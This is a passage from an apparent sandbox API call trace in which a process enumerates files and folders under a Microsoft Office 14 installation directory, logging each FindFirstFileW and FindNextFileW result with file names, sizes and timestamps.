hFindFile=0x6b43e8 | out: hFindFile=0x6b43e8) returned 1 [0057.811] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f14868 | out: hHeap=0x5c0000) returned 1 [0057.811] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0059.872] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0059.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f24870 | out: hHeap=0x5c0000) returned 1 [0059.872] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87ce900, ftCreationTime.dwHighDateTime=0x1ca9b87, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc87ce900, ftLastWriteTime.dwHighDateTime=0x1ca9b87, nFileSizeHigh=0x0, nFileSizeLow=0x29d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1 [0062.219] FindClose (in: hFindFile=0x6b4528 | out: hFindFile=0x6b4528) returned 1 [0062.251] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f04868 | out: hHeap=0x5c0000) returned 1 [0062.251] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms", cAlternateFileName="GROOVE~3")) returned 1 [0062.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4528 [0062.747] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.851] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="ADDTOV~1.JPG")) returned 1 [0062.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0062.936] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.936] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0062.937] FindClose (in: hFindFile=0x6b4628 | out: hFindFile=0x6b4628) returned 1 [0062.937] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x40158a0 | out: hHeap=0x5c0000) returned 1 [0062.937] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0062.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\*", lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4668 [0062.943] FindNextFileW (in: hFindFile=0x6b4668, lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.943] FindNextFileW (in: hFindFile=0x6b4668, lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2021e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Customer Support.fdt", cAlternateFileName="CUSTOM~1.FDT")) returned 1 [0062.944] FindClose (in: hFindFile=0x6b4668 | out: hFindFile=0x6b4668) returned 1 [0062.946] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x40158a0 | out: hHeap=0x5c0000) returned 1 [0062.946] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1 [0062.947] FindClose (in: hFindFile=0x6b4528 | out: hFindFile=0x6b4528) returned 1 [0062.947] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f04868 | out: hHeap=0x5c0000) returned 1 [0062.947] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms3", cAlternateFileName="GR96F1~1")) returned 1 [0062.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\*", lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4528 [0062.951] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.953] FindNextFileW (in: hFindFile=0x6b4528, lpFindFileData=0x3a5eb9c | out: lpFindFileData=0x3a5eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0062.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\*", lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4668 [0062.958] FindNextFileW (in: hFindFile=0x6b4668, lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.112] FindNextFileW (in: hFindFile=0x6b4668, lpFindFileData=0x3a5e920 | out: lpFindFileData=0x3a5e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.css", cAlternateFileName="")) returned 1 [0063.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana\\*", lpFindFileData=0x3a5e6a4 | out: lpFindFileData=0x3a5e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b46a8 [0063.115] FindNextFileW (in: hFindFile=0x6b46a8, lpFindFileData=0x3a5e6a4 | out: lpFindFileData=0x3a5e6a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528d0030, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x618a28b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.115] FindNextFileW (in: hFindFile=0x6b46a8, lpFindFileData=0x3a5e6a4 | out: lpFindFileData=0x3a5e6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0064.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44e8 [0064.198] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.198] FindNextFileW (in: hFindFile=0x6b44e8, lpFindFileData=0x3a5ee18 | out: lpFindFileData=0x3a5ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.199] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0064.199] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0064.199] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.200] FindClose (in: hFindFile=0x6b44a8 | out: hFindFile=0x6b44a8) returned 1 [0064.200] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0064.205] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMV12", cAlternateFileName="INFOPA~1")) returned 1 [0064.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b44a8 [0064.206] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.206] FindNextFileW (in: hFindFile=0x6b44a8, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.206] FindClose (in: hFindFile=0x6b44a8 | out: hFindFile=0x6b44a8) returned 1 [0064.206] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0064.206] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0064.206] FindClose (in: hFindFile=0x6b4468 | out: hFindFile=0x6b4468) returned 1 [0064.207] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f34880 | out: hHeap=0x5c0000) returned 1 [0064.207] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0064.207] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4468 [0064.208] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.208] FindNextFileW (in: hFindFile=0x6b4468, lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0064.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6b4628 [0064.467] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.525] FindNextFileW (in: hFindFile=0x6b4628, lpFindFileData=0x3a5f094 | out: lpFindFileData=0x3a5f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1ecf00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6a1ecf00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x3bb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ANALYS32.XLL", cAlternateFileName="")) returned 1 [0065.692] FindClose (in: hFindFile=0x6b44e8 | out: hFindFile=0x6b44e8) returned 1 [0065.692] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ec16b8 | out: hHeap=0x5c0000) returned 1 [0065.801] FindNextFileW (in: hFindFile=0x6b4428, lpFindFileData=0x3a5f58c | out: lpFindFileData=0x3a5f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af8800, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x59a53950, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34af8800, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x5f190, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPH.DLL", cAlternateFileName="")) returned 1 [0065.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x3a5f310 | out: lpFindFileData=0x3a5f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, 